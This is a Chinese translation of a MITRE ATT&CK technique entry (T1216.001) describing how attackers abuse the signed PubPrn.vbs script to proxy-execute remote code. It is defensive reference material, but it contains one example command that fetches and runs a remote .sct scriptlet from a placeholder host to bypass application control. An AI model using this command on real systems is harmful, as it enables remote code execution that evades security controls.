T1216.001: PubPrn

摘要

攻击者可能使用 PubPrn 代理执行恶意远程文件。PubPrn.vbs 是一个[Visual Basic](https://attack.mitre.org/techniques/T1059/005) 脚本，用于将打印机发布到 Active Directory Domain Services。该脚本可能由 Microsoft 签名，通常通过 [Windows 命令 shell](https://attack.mitre.org/techniques/T1059/003) 经 <code>Cscript.exe</code> 执行。例如，以下代码在指定域中发布打印机：<code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>。(Citation: pubprn) 攻击者可能滥用 PubPrn 执行托管在远程站点上的恶意载荷。(Citation: Enigma0x3 PubPrn Bypass) 为此，攻击者可以将第二个 <code>script:</code> 参数设置为引用托管在远程站点上的 scriptlet 文件 (.sct)。示例命令为 <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>。此行为可能绕过签名验证限制以及未考虑此脚本滥用的应用程序控制解决方案。 在较新版本的 Windows（10+）中，<code>PubPrn.vbs</code> 已更新，以防止从远程站点代理执行。这是通过将第二个参数中指定的协议限制为 <code>LDAP://</code> 来实现的，而不再使用可用于通过 HTTP(S) 引用远程代码的 <code>script:</code> 名字对象。